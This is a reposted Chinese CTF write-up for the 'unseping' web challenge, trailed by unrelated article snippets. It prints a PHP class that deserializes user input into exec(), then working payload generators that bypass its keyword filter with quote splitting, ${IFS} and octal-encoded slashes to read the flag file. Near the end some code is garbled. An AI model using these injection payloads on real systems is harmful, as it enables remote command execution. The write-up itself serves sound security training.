攻防世界37-unseping-CTFWeb

攻防世界37-unseping-CTFWeb

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

if (!preg_match_all(“/(||&|;| |/|cat|flag|tac|php|ls)/”, $str, $pat_array))做了过滤

且if (in_array($this->method, array(“ping”))),ping必须是method

这是一个反序列化问题

随便试一试,得到输出

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array("ifconfig"));
$s = serialize($o);
echo base64_encode($s);
?>

image-20241111130152595

ls被过滤了,有几种绕过方法

  • 单引号,有效
  • 双引号,有效
  • I F S , {IFS}, IFS,{Z}有效
  • l\s也行

空格被过滤了

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>

image-20241111130809076

/\都被过滤了

使用8进制编码"/",“/“的八进制编码为\57,使用 ( p r i n t f (printf (printf{IFS}”\57”)内敛执行输出“/”到字符串中

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o = new ease('ping', array('more${IFS}fl""ag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));
//$o = new ease('ping', array('c""at${IFS}fl""ag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
// 
$s = serialize($o);
echo base64_encode($s);
?>

得cyberpeace{305550cf468dbcfe0d6f5f0356c42ab4}

image-20241111132234881

然后手动加斜杠也行

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}
$o=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$s = serialize($o);
echo base64_encode($s);
?>

\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
s = s e r i a l i z e ( s = serialize( s=serialize(o);
echo base64_encode($s);
?>


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/469592.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【大数据学习 | HBASE高级】region split机制和策略

1. region split机制 ​ HRegionServer拆分region的步骤是&#xff0c;先将该region下线&#xff0c;然后拆分&#xff0c;将其子region加入到hbase:meta表中&#xff0c;再将他们加入到原本的HRegionServer中&#xff0c;最后汇报Master。 split前&#xff1a;hbase:meta表有…

FMC 扩展子卡6 路 422,8 组 LVDS,8 路 GPIO

FMC 扩展子卡6 路 422,8 组 LVDS,8 路 GPIO 卡是一款支持多路 LVCMOS 和 LVDS 信号互转的 FMC 扩展子板。它能支持 6 路 422 信号的输入 / 输出 ,8 组 LVDS 信号的输入 / 输出和 8 路 GPIO 信号的输入 / 输出。本产品基于一些逻辑转换芯片而设计&#xff0c;能实现差分信号转单…

old-cms(原生PHP开发的企业网站管理系统)

old-cms是一个使用原生PHP开发的实用的PHP企业网站管理系统&#xff0c;包括企业网站常用的功能板块&#xff0c;如&#xff1a;产品管理、新闻管理、栏目管理、模板标签管理、分类管理、诚聘英才、在线留言反馈、关于我们&#xff08;公司简介&#xff09;等等&#xff0c;也有…

IPv4与IPv6的优缺点

IPv4 和 IPv6 都是 TCP/IP 协议的版本。IP 是指互联网协议&#xff0c;是传输控制协议/互联网协议套件&#xff08;TCP/IP&#xff09;的主要部分。 TCP/IP 是一套标准和规则&#xff0c;用于规范不同网络上的设备之间打包数据&#xff08;数据报&#xff09;的传输和交换。互…

git命令及原理

git: 目录则被称之为“树” 文件被称作 Blob 对象. git help <command>: 获取 git 命令的帮助信息 git init: 创建一个新的 git 仓库&#xff0c;其数据会存放在一个名为 .git 的目录下 git status: 显示当前的仓库状态 git add <filename>: 添加文件到暂存区 git …

aws xray通过设置采样规则对请求进行过滤

参考资料 https://github.com/aws/aws-xray-sdk-pythonpython api reference&#xff0c;https://docs.aws.amazon.com/xray-sdk-for-python/latest/reference/node api reference&#xff0c;https://docs.aws.amazon.com/xray-sdk-for-nodejs/latest/reference/ 初始化环境…

《硬件架构的艺术》笔记(一):亚稳态

同步系统中如果数据和时钟满足建立保持时间的要求&#xff0c;不会发生亚稳态&#xff08;meastable&#xff09;。 异步系统中数据和时钟关系不固定&#xff0c;可能违反建立保持时间&#xff0c;就会输出介于两个有效状态之间的中间级电平&#xff0c;且无法确定停留在中间状…

统信UOS开发环境支持Electron

全面支持Electron开发环境,同时还提供了丰富的开发工具和开发资源,进一步提升工作效率。 文章目录 一、环境部署1. Electron应用开发介绍2. Electron开发环境安装安装Node.js和npm安装electron环境配置二、代码示例Electron开发案例三、常见问题一、环境部署 1. Electron应用…

动手学深度学习68 Transformer

1. Transformer 2. 多头注意力代码 通过不断地reshape&#xff0c;避免forloop操作。 什么样的shape进去&#xff0c;怎样的shape出来。 #save class MultiHeadAttention(nn.Module):"""多头注意力"""def __init__(self, key_size, query_size…

晨控RFID技术助力半导体制造业革新之路

晨控RFID技术助力半导体制造业革新之路 应用背景 随着信息技术的快速发展&#xff0c;无线射频识别技术逐渐成为连接物理世界与数字世界的桥梁。尤其在半导体产业中&#xff0c;RFID技术的应用不仅提升了生产效率&#xff0c;还加强了产品追踪与管理能力&#xff0c;对推动产…

ReactPress:构建高效、灵活、可扩展的开源发布平台

ReactPress Github项目地址&#xff1a;https://github.com/fecommunity/reactpress 欢迎Star。 在当今数字化时代&#xff0c;内容管理系统&#xff08;CMS&#xff09;已成为各类网站和应用的核心组成部分。ReactPress&#xff0c;作为一款融合了现代Web开发多项先进技术的开…

PyTorch版本的3D网络Grad-CAM可视化实验记录

前言 最近在跑代码的时候需要可视化一些网络中间层特征来诊断网络&#xff0c;但是我的backbone是一个3D网络&#xff0c;一般的Grad-CAM都是在2D网络中应用更广泛&#xff0c;查了一下也只有几篇博文是关于3D Grad-CAM的介绍的。自己参照他们的代码试了一下&#xff0c;但是可…

基于STM32的智能充电桩:集成RTOS、MQTT与SQLite的先进管理系统设计思路

一、项目概述 随着电动车的普及&#xff0c;充电桩作为关键基础设施&#xff0c;其智能化、网络化管理显得尤为重要。本项目旨在基于STM32微控制器开发一款智能充电桩&#xff0c;能够实现高效的充电监控与管理。项目通过物联网技术&#xff0c;提供实时数据监测、远程管理、用…

.NET中通过C#实现Excel与DataTable的数据互转

在.NET框架中&#xff0c;使用C#进行Excel数据与DataTable之间的转换是数据分析、报表生成、数据迁移等操作中的常见需求。这一过程涉及到将Excel文件中的数据读取并加载至DataTable中&#xff0c;以便于利用.NET提供的丰富数据处理功能进行操作&#xff0c;同时也包括将DataTa…

域名服务系统DNS (Domain Name System)

域名的介绍 熟悉了域名之后&#xff0c;不仅仅是应对考试&#xff0c;生活中看到一个常规的网址&#xff0c;我们也能快速想到这个网址对应的含义是什么&#xff0c;并且在记忆网址的时候也更加得心应手&#xff0c;快速了解域名中各个层级的含义&#xff0c;这是 非常有趣呢…

Kettle——CSV文件转换成excel文件输出

1.点击—文件—新建—转换 拖入两个组件&#xff1a; 按shift&#xff0b;鼠标左击建立连接&#xff0c;并点击主输出步骤&#xff0c; 点击CSV文件输入&#xff0c;选择浏览的csv文件&#xff0c;然后点击确定 同样&#xff0c;Excel也同上&#xff0c;只是要删除这个xls 并…

Select,poll,epoll和IO多路复用和NIO

Select&#xff0c;poll&#xff0c;epoll和IO多路复用和NIO IO 多路复用&#xff1a;是一种 I/O 处理机制&#xff0c;它允许单个线程同时处理多个 I/O 流&#xff08;如多个文件描述符对应的网络连接、文件操作等&#xff09;的输入输出操作&#xff0c;通过一种机制来监听这…

希尔排序(C语言)

一、步骤&#xff1a; 希尔排序的基本思想&#xff1a;先选定一个整数&#xff0c;把待排序文件中所有记录分成个组&#xff0c;所有距离为gap的记录分在同一组内&#xff0c;并对每一组内的记录进行排序。然后取重复上述分组和排序的工作。当到gap 1时&#xff0c;所有记录在…

自动驾驶为什么需要时间同步?高精度时间同步如何实现?

自动驾驶作为汽车与物联网技术、人工智能等高新技术融合的产物&#xff0c;具有新颖性、复杂性和巨大的挑战性。自动驾驶需要实时传输、处理海量数据&#xff0c;并实时做出决策&#xff0c;这不仅要求有通畅网络通信环境、强大的数据算力&#xff0c;更要求时间同步的超低时延…

【信号处理】基于联合图像表示的深度学习卷积神经网络

Combined Signal Representations for Modulation Classification Using Deep Learning: Ambiguity Function, Constellation Diagram, and Eye Diagram 信号表示 Ambiguity Function(AF) 模糊函数描述了信号的两个维度(dimensions):延迟(delay)和多普勒(Doppler)。 …